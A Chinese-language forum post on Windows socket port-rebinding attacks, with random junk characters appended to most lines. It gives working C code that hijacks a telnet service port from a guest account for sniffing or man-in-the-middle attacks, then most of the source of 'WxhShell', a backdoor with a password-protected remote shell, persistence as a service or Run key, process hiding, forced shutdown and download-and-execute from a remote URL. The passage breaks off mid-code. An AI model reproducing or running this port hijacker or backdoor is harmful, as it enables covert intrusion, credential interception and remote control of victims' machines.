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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %|"Qi]c d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #V_GOy1-  
>bm|%Ou"  
  saddr.sin_family = AF_INET; j, u#K)7{T  
LtKB v 4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~1(j&&kXet  
)ly ^Ox  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \M+L3*W  
r|R7- HI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :BZ0 7`9  
zQ8!rCkg4  
  这意味着什么?意味着可以进行如下的攻击: G*n2Ii  
Dgi~rr1`'s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T~>#2N-Z  
=nxKttmU0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l\Ftr_Dk  
%FA@)?~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9K"JYJ q2  
jPJAWXB4a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]> G&jd7  
X;GfPw.m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b-<HXn_Fd  
>- Bg%J9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "QY1.:o<(  
B;t=B_oK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 665[  
C7qYiSv  
  #include W |UtY`1  
  #include - r#K#v3  
  #include :)c80`-E  
  #include    :`W|h E^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (FVX57  
  int main() 284zmZZ  
  { 8jnz}aBd  
  WORD wVersionRequested; JOfV]eCL  
  DWORD ret; ~"dhu]^  
  WSADATA wsaData; .iv3q?8.b  
  BOOL val; .9M.|  
  SOCKADDR_IN saddr; w6zB Vi  
  SOCKADDR_IN scaddr; .[j%sGdKl  
  int err; *xH\)|3,  
  SOCKET s; C1B'#F9EO  
  SOCKET sc; R]L2(' B  
  int caddsize; {B{i(6C(  
  HANDLE mt; G[yI*/E;  
  DWORD tid;   Q,e*#oK3$  
  wVersionRequested = MAKEWORD( 2, 2 ); 9([6d.`~  
  err = WSAStartup( wVersionRequested, &wsaData ); aiux^V  
  if ( err != 0 ) { Z^_>A)<s<  
  printf("error!WSAStartup failed!\n"); >)c9|e=8  
  return -1; BQNp$]5s  
  } k0ItG?Cv  
  saddr.sin_family = AF_INET; 6 =>G#  
   A 7Y_HIo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 JAP (|  
uMiyq<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jnBC;I[:  
  saddr.sin_port = htons(23); 9g@NcJ]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ukihx?5  
  { u,9q<&,  
  printf("error!socket failed!\n"); F`& >NQb  
  return -1; dR[o|r  
  } 7),*3c')  
  val = TRUE; 8S>>7z!U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U[fSQ`&D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4iBxPo(0  
  { L@A9{,9Pl  
  printf("error!setsockopt failed!\n"); K&S@F!#g  
  return -1; ,nYZxYLf+  
  } 8=4^Lm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F#1kZ@nq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^ f{qJ[,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }x0Z( `  
pqfT\Kb>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d*9j77C]  
  { P"Rk?lL  
  ret=GetLastError(); +]L)>$6  
  printf("error!bind failed!\n"); <^sAY P|  
  return -1; `7_n}8NVC  
  } (`mOB6j  
  listen(s,2); t>oM%/H  
  while(1) %zQ2:iT5@=  
  { *1v_6<;2i<  
  caddsize = sizeof(scaddr); Tw}z7U"  
  //接受连接请求 va+m9R0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7b,AQ9  
  if(sc!=INVALID_SOCKET) opnkmM&[  
  { k>-'AWH^v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _w%s(dzk  
  if(mt==NULL) Y-7.Vjt^  
  { .-%oDuB5zF  
  printf("Thread Creat Failed!\n"); U]mO7HK  
  break; c8\g"T  
  } b)y<.pS\  
  } gyg|Tno  
  CloseHandle(mt); Xr)g  
  } JrxP,[qJG  
  closesocket(s); bY&YSlO  
  WSACleanup(); 5Wl,J _<F  
  return 0;  l58l  
  }   /gF]s_  
  DWORD WINAPI ClientThread(LPVOID lpParam) DW4MA<UQ  
  { {cX7<7N  
  SOCKET ss = (SOCKET)lpParam; 14;Av{Xt  
  SOCKET sc; GMyoSe%1/  
  unsigned char buf[4096]; Q.uR<C6)v  
  SOCKADDR_IN saddr; L1:}bH\y  
  long num; >sB=\  
  DWORD val; 0-lPhnrp  
  DWORD ret; w7Pe  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9EjjkJ%)q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c|3h|  
  saddr.sin_family = AF_INET; }$w4SpR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WMRYT"J?N]  
  saddr.sin_port = htons(23); dcM+ylB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e(4bx5 <*  
  { j(UX 6lR  
  printf("error!socket failed!\n"); }NR`81  
  return -1; moZ)|y  
  } k_-vT  
  val = 100; 8rnb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z={UM/6w  
  { P] {B^,E  
  ret = GetLastError(); 2OA8 R}  
  return -1; X*43!\  
  } W8\PCXnsfl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q\-xg*'  
  { cob9hj#&7  
  ret = GetLastError(); _ +0uju?o}  
  return -1; G}Q}H*  
  } {[H4G,QK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j&o/X7I=  
  { :qt82tbn  
  printf("error!socket connect failed!\n"); }A)^XZ/  
  closesocket(sc); 1gf/#+$\  
  closesocket(ss); KE }o  
  return -1; KE&InTM/j  
  } PxdJOtI"  
  while(1) :8p2Jxm  
  { bdNY7|j`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2_B;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a3DoLq"/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4n `[SN  
  num = recv(ss,buf,4096,0); )x9nED{  
  if(num>0) WVBE>TB  
  send(sc,buf,num,0); kM6 EZ`mj  
  else if(num==0) jn5=N[hd  
  break; 61t-  
  num = recv(sc,buf,4096,0); ba8-XA_~U  
  if(num>0) T-<>)N5y  
  send(ss,buf,num,0); CU} q&6h  
  else if(num==0) _s*uF_: 3  
  break; FW6E)df  
  } q=j/s4~  
  closesocket(ss); Nys'4kx7  
  closesocket(sc); & Q|f*T  
  return 0 ; PgGrk5;  
  } }]Z,\lA  
~Krg8s!F&  
 9\W5   
========================================================== [1[[$ Dr  
d}^ :E  
下边附上一个代码,,WXhSHELL cl9;2D"Zm!  
mF$jC:Tb  
========================================================== ~O7cUsAi'  
6A{s%v H  
#include "stdafx.h" JUUF^/J  
u3ri6Y`  
#include <stdio.h> !x!L&p  
#include <string.h> *T}dv)8  
#include <windows.h> J{'zkR?Lr  
#include <winsock2.h> Y-q,Ovf!  
#include <winsvc.h> Fr Q-v]c  
#include <urlmon.h> E&Zx]?~  
V'BZ=.=  
#pragma comment (lib, "Ws2_32.lib") CI3_lWax%  
#pragma comment (lib, "urlmon.lib") 2l}Fg D  
p<^/T,&I  
#define MAX_USER   100 // 最大客户端连接数 <@;xV_`X+  
#define BUF_SOCK   200 // sock buffer  ~d<`L[  
#define KEY_BUFF   255 // 输入 buffer e]y=]}A3{  
qI/r_  
#define REBOOT     0   // 重启 &4$43\(D  
#define SHUTDOWN   1   // 关机 <` VJU2  
EKJc)|8  
#define DEF_PORT   5000 // 监听端口 8"I5v(TV  
GlkAJe]  
#define REG_LEN     16   // 注册表键长度 07WIa@Q  
#define SVC_LEN     80   // NT服务名长度 0kr& c;~  
=v#A&IPA'  
// 从dll定义API J*4_|j;Z-E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); whp\*]8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;>x1)|n5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #__'U6`(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [T?6~^m=  
?+JxQlVDt-  
// wxhshell配置信息 \#*;H|U.x  
struct WSCFG { q,h.W JI  
  int ws_port;         // 监听端口 5'L}LT8p@  
  char ws_passstr[REG_LEN]; // 口令 VDI S`E  
  int ws_autoins;       // 安装标记, 1=yes 0=no q8yJW-GA   
  char ws_regname[REG_LEN]; // 注册表键名 .6-o?=5  
  char ws_svcname[REG_LEN]; // 服务名 `  vmk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gJcL{]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aNf3 R;*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YyBq+6nq5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f(ec/0W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n'(n4qH2#s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q X5#$-H@  
vT<wd#  
}; 4!RI2?4V  
6L% R@r  
// default Wxhshell configuration 5v-;*  
struct WSCFG wscfg={DEF_PORT, )C0X]?   
    "xuhuanlingzhe", 745V!#3!M  
    1, g. VIe  
    "Wxhshell", F[giq 1#  
    "Wxhshell", e:D9;`C  
            "WxhShell Service", hl~F1"q )  
    "Wrsky Windows CmdShell Service", *LQY6=H  
    "Please Input Your Password: ", w!k4&Rb3  
  1, ':>*=&  
  "http://www.wrsky.com/wxhshell.exe", D`ge3f8Wi  
  "Wxhshell.exe" . zMM86c  
    }; H<Taf%JT  
1:Gd{z  
// 消息定义模块 H ?:#Ui(p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s+~Slgl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bo/!u s#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6spk* 8e  
char *msg_ws_ext="\n\rExit."; (:muxby%  
char *msg_ws_end="\n\rQuit."; 31;T$5v1  
char *msg_ws_boot="\n\rReboot..."; ;;H:$lx  
char *msg_ws_poff="\n\rShutdown..."; lfG's'U-z  
char *msg_ws_down="\n\rSave to "; ?pY!sG  
p&27|1pZm  
char *msg_ws_err="\n\rErr!"; \gXx{rLW  
char *msg_ws_ok="\n\rOK!"; R?Q-@N>wE  
1/BMs0 =  
char ExeFile[MAX_PATH]; }}Uv0g8D  
int nUser = 0; Y%9F  
HANDLE handles[MAX_USER]; @z q{#7%z  
int OsIsNt; :*nBo  
PFw"ICs  
SERVICE_STATUS       serviceStatus; {G&g+9c&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H >{K]7D/y  
.e+UgC wi  
// 函数声明 N^N?!I  
int Install(void); {`zF{AW8q  
int Uninstall(void); cyE2=  
int DownloadFile(char *sURL, SOCKET wsh); rT)R*3  
int Boot(int flag); L?(rv.lb  
void HideProc(void); va;wQ~&  
int GetOsVer(void); ~.PYS!" +  
int Wxhshell(SOCKET wsl); s30_lddD  
void TalkWithClient(void *cs); S7Fxb+{6D  
int CmdShell(SOCKET sock); q Q8l8  
int StartFromService(void); ]f~YeOB@  
int StartWxhshell(LPSTR lpCmdLine); }YO}LQ-|  
\&90$>h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Oc`fQqYy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B E)l77=/  
t_Wn<)XA  
// 数据结构和表定义 o3kj7U:'x  
SERVICE_TABLE_ENTRY DispatchTable[] = uNg.y$>CX  
{ {jI/9  
{wscfg.ws_svcname, NTServiceMain}, 2[hl^f^%,  
{NULL, NULL} 5i?U-  
}; 0=DawJ9  
<H/H@xQ8G  
// 自我安装 5?MvO]_  
int Install(void) <|iU+.j\  
{ ')V5hKb^  
  char svExeFile[MAX_PATH]; -y( V-  
  HKEY key; B=Os?'2[  
  strcpy(svExeFile,ExeFile); 0]~n8mB>  
.Ps;O  
// 如果是win9x系统,修改注册表设为自启动 XN;eehB?aE  
if(!OsIsNt) { H!u:P?j@\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8=9sIK2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9g"H9)EZ^  
  RegCloseKey(key); ]Ox.6BKjDP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NM Ajt>t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zOw]P6Gk  
  RegCloseKey(key); 8hg(6 XUG  
  return 0; (~oPr+d  
    } Vi_|m?E  
  } 5P!17.W'u  
} IM/\t!*7  
else { L\[jafb_`  
~^*tIIOX  
// 如果是NT以上系统,安装为系统服务 th)jEK;Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {xX|5/z  
if (schSCManager!=0) z-j\S7F  
{ `39U I7  
  SC_HANDLE schService = CreateService O.dNhd$  
  ( /'(P{O>{j  
  schSCManager, `h'^S,'*  
  wscfg.ws_svcname, (I5ra_FVs  
  wscfg.ws_svcdisp, =l+p nG  
  SERVICE_ALL_ACCESS, Yt^+31/%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6z*L9Vy($  
  SERVICE_AUTO_START, qC &<U  
  SERVICE_ERROR_NORMAL, $7,dKC &  
  svExeFile, 3a0C<hW  
  NULL, ;xc  
  NULL, 6eD[)_?]y  
  NULL, 4$"Lf'sH6  
  NULL, ;`+,gVrp  
  NULL 'Bx7b(xqk  
  ); {TNAK%'v  
  if (schService!=0) "=;&{N~8U  
  { A UK7a  
  CloseServiceHandle(schService); Mi/_hzZ\  
  CloseServiceHandle(schSCManager); )C@,mgh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nvi14,q/  
  strcat(svExeFile,wscfg.ws_svcname); 4 C:YEX~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q8n?7JB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^9nM)[/C?  
  RegCloseKey(key); {~"=6iyj  
  return 0; }!LYV  
    } P,wJ@8lv  
  } 0)NHjKP  
  CloseServiceHandle(schSCManager); l?q^j;{Dw  
} P dJ*'@~i  
} ^:#%TCJ  
or<JjTJ\o_  
return 1; i/L1KiCLx  
} hmo?gD<  
L[K_!^MZ  
// 自我卸载 ){} #v&  
int Uninstall(void) n7G$gLX  
{ a_yV*N`D  
  HKEY key; i@RjG   
-1R~3j1_  
if(!OsIsNt) { \WTg0b[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SUw{xGp  
  RegDeleteValue(key,wscfg.ws_regname); kLhtkuS4  
  RegCloseKey(key); _W+TZa@_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rW^&8E[  
  RegDeleteValue(key,wscfg.ws_regname); +uA<g`4  
  RegCloseKey(key); 4)ISRR  
  return 0; 9pgct6BO  
  } 0[];c$r<  
} uFqH_04  
} [D)A+  
else { d2Y5'A0X  
a AuQw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !ZVMx*1Cf  
if (schSCManager!=0) Y5 dt?a  
{ /_O-m8+ 4m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TaC)N  
  if (schService!=0) rcK*",>  
  { }Z6/b _kV  
  if(DeleteService(schService)!=0) { ?|33Np)  
  CloseServiceHandle(schService); pkoHi'}}$  
  CloseServiceHandle(schSCManager); ^:],JN k  
  return 0; P7o6B,9  
  } F ;D_zo?  
  CloseServiceHandle(schService); %>.v[d1c  
  } bQ)r8[o!  
  CloseServiceHandle(schSCManager); "@n$(-.  
} Dt ?Fs  
} 4c% :?H@2  
C{) )T5G  
return 1; =mZw71,  
} /vMpSN|3  
b?$3jOtW  
// 从指定url下载文件 P'K')]D=!  
int DownloadFile(char *sURL, SOCKET wsh) 4q[r KNl  
{ iT%UfN/q=I  
  HRESULT hr; sxqX R6p{  
char seps[]= "/"; ,LW0{(&z  
char *token; -[F^~Gv|;  
char *file; o+na`ed  
char myURL[MAX_PATH]; Z(Vrmz2.  
char myFILE[MAX_PATH]; K(p1+ GHC  
"FU|I1Xz  
strcpy(myURL,sURL); *<@  
  token=strtok(myURL,seps); `/U:u9H9v  
  while(token!=NULL) f,1rmX1  
  { 5Z:HCp-aG  
    file=token; ZoUfQ!2*  
  token=strtok(NULL,seps); l|K8+5L  
  } |J\/U,nh  
B}(YD;7vJ  
GetCurrentDirectory(MAX_PATH,myFILE); FD*y[A ?  
strcat(myFILE, "\\"); =k_u5@.Z  
strcat(myFILE, file); K!9=e7|P  
  send(wsh,myFILE,strlen(myFILE),0); DW-LkgfA  
send(wsh,"...",3,0); ,QQ:o'I!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *<hpq)  
  if(hr==S_OK) 2Zm*f2$xM  
return 0; fZZ!kea[  
else ~t}:vGDj  
return 1; BYY>;>V  
23=;v@  
} YmwVa s  
_EY :vv  
// 系统电源模块 H(AYtnvB  
int Boot(int flag) BZj[C=#x  
{ H [v~  
  HANDLE hToken; Cn"N5(i  
  TOKEN_PRIVILEGES tkp; gk&?h7P"<  
B8PF}Mf  
  if(OsIsNt) { d+^;kse  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YZk&'w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rf~Ss<  
    tkp.PrivilegeCount = 1; +)Ty^;+[1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pM=vW{"I/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2::T,Z  
if(flag==REBOOT) { @iaN@`5I6s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BoXCc"q[  
  return 0; %*uqtw8  
} uJWX7UGuz  
else { HGKm?'['   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;gc 2vDMv  
  return 0; o ZAjta_4  
} d0xV<{,-  
  } @@5u{K  
  else { o{ (v  
if(flag==REBOOT) { d. a>(G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WULj@ds\~  
  return 0; $^l=#tV  
} &a0%7ea`.S  
else { F ^\v`l,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Bj2rA.M  
  return 0; r1\.Jz  
} DK- =Q~`!  
} G'("-9  
*rbayH  
return 1; N\0Sq-.  
} OS,$}I[`8  
t _W |`  
// win9x进程隐藏模块 52~k:"c  
void HideProc(void) jPd<h{js  
{ <omz9d1  
ks{s Q@~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \kRBJ1)|f  
  if ( hKernel != NULL ) 6y0C  
  { ~}5(J,1!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pif8/e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VjnSi  
    FreeLibrary(hKernel); iN><m|  
  } #K[ @$BY:  
qq/Cn4fN8  
return; 1Tl("XV3  
} &#;,P :.'  
{tMD*?C[6  
// 获取操作系统版本 9O)>>1}*S  
int GetOsVer(void) GZ e )QH  
{ J@5 OZFMZ  
  OSVERSIONINFO winfo; AE$)RhY`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A~6 Cs  
  GetVersionEx(&winfo); 0TNzVsu7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E,X,RM~ +D  
  return 1; fx|9*|E  
  else ^?A+`1-  
  return 0; 94R+S-|P  
} [brrziZ  
J0oR]eT}  
// 客户端句柄模块  ^ "f  
int Wxhshell(SOCKET wsl) f]lDJ?+ M  
{ i6-K!  
  SOCKET wsh; XC$~!  
  struct sockaddr_in client; ^T[ #rNkeL  
  DWORD myID; }dxdxnVt  
F&P)mbz1  
  while(nUser<MAX_USER) A1_x^s  
{ ooAZ,l=8  
  int nSize=sizeof(client); ]+Vcuzq/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pv'x|p*  
  if(wsh==INVALID_SOCKET) return 1; 3l^pY18H'  
V]AL'}( 0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M(BZ<,9V  
if(handles[nUser]==0) $@x kKe"  
  closesocket(wsh); oHYD6 qJX{  
else pg<>Ow5,~l  
  nUser++; ,..b)H5n  
  } [q@%)F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G9i#_  
bcYz?o6  
  return 0; 3)ip@29F  
} |j+~Td3})&  
ieI-_]|[  
// 关闭 socket H~@h #6  
void CloseIt(SOCKET wsh) WIghP5%W  
{ NWvxbv  
closesocket(wsh); 2V]2jxOQ  
nUser--; O^GXFz^  
ExitThread(0); 7'I7   
} 7jPmI  
lD pi1]2  
// 客户端请求句柄 E=E<l?ob  
void TalkWithClient(void *cs) AM[:Og S  
{ Ef!F;De)A  
]'G7(Y\)f  
  SOCKET wsh=(SOCKET)cs; d !H)voX  
  char pwd[SVC_LEN]; wnX6XyUH  
  char cmd[KEY_BUFF]; _e'mG'P(  
char chr[1]; ^#o.WL%4/B  
int i,j; u *< (B  
?Y9?x,x  
  while (nUser < MAX_USER) { QKO(8D6+  
I%Awj(9BS  
if(wscfg.ws_passstr) { )N/KQ[W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,aJrN!fzU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vEsSqzc  
  //ZeroMemory(pwd,KEY_BUFF); 2R!W5gs1<  
      i=0; `+uXL9mo  
  while(i<SVC_LEN) { Ua]zTMI  
sF$m?/Kt  
  // 设置超时 D4\I;M^  
  fd_set FdRead; -&? -  
  struct timeval TimeOut; /p>[$`Aq  
  FD_ZERO(&FdRead); `FwAlYJK  
  FD_SET(wsh,&FdRead); krA))cP  
  TimeOut.tv_sec=8; El%(je,|  
  TimeOut.tv_usec=0; -}J8|gwwp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;W].j%]L e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k-U/x"Pl  
NEk [0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =FnZkJ  
  pwd=chr[0]; Jj " {r{  
  if(chr[0]==0xd || chr[0]==0xa) { #t O!3=0  
  pwd=0; Pz 'Hqvd  
  break; ?<;<#JN  
  } .tNB07=7  
  i++; *v+ fkg  
    } zYL^e @  
+[ zo2lBx  
  // 如果是非法用户,关闭 socket To`?<]8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gm DC,"Y<  
} wu')Q/v  
d%hA~E1rR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m 5Kx}H~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mx"tUoU6z  
MF`'r#@:wa  
while(1) { yKJ^hv"#  
E`|qFG<  
  ZeroMemory(cmd,KEY_BUFF); r . ^&%D  
Vz*'^=(o&  
      // 自动支持客户端 telnet标准   qZh~Ay6I  
  j=0; jq)|Uq'6  
  while(j<KEY_BUFF) { ks D1NB;9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gL`SZr9  
  cmd[j]=chr[0]; 0^[6  
  if(chr[0]==0xa || chr[0]==0xd) { qE}YVKV*  
  cmd[j]=0; LnGSYrx1  
  break; 7W"menw  
  } BP$#a #  
  j++; "+&<Qd2  
    } =&b[V"  
#4M0%rN  
  // 下载文件 &/9oi_r%r  
  if(strstr(cmd,"http://")) { t^hkGYj!2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SfUUo9R(sm  
  if(DownloadFile(cmd,wsh)) h.0K PF]O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <.ky1aex7  
  else  Dfia=1A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G.8b\E~  
  } qS al~  
  else { )v~]lk,o  
-e>)yM `i  
    switch(cmd[0]) { ub5hX{uT  
  Hea<!zPH  
  // 帮助 hT"K}d;X  
  case '?': { E6M: ^p*<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _ GSw\r  
    break; N/BU%c ph+  
  } Umg81!  
  // 安装 WKsx|a]U  
  case 'i': { P hu| hx<  
    if(Install()) n bk(F D6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [[Z>(d$8  
    else LnS >3$t*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MFuI&u!g:  
    break; c ?XUb[  
    } .Er/t"Qs;  
  // 卸载 '.,.F0{x  
  case 'r': { xQap44KPZ  
    if(Uninstall()) u2-7vudh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0h4}RmS  
    else u,:`5*al{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bw.&3efd  
    break; IviQ)h p  
    } 6a?p?I K^  
  // 显示 wxhshell 所在路径 o[hP&9>q  
  case 'p': { 79H+~1Az  
    char svExeFile[MAX_PATH]; (14kR  
    strcpy(svExeFile,"\n\r"); B}+9U  
      strcat(svExeFile,ExeFile); uFZB8+  
        send(wsh,svExeFile,strlen(svExeFile),0); x35s6  
    break; X:&p9_O@  
    } lVtn$frp  
  // 重启 q}Z T?Xk?  
  case 'b': { 7G/|e24  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W+e*(W|d6  
    if(Boot(REBOOT)) vfJk? (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : "te-  
    else { 9PK-r;2  
    closesocket(wsh); + t4m\/y  
    ExitThread(0); DAHf&/J K  
    } v qMk)htIz  
    break; 5KE%@,k k  
    } +|)1_NK  
  // 关机 x=Jn&4q  
  case 'd': { 3Lki7QW`  
